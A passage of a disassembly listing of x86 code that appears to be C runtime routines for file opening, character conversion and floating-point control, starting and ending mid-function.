loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2730000h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2670770h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 269086Bh
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2620000h
		nop
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2710000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2710000h
		nop
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		call	near ptr 28410A4h
		nop
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		call	near ptr 2710000h
		nop
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

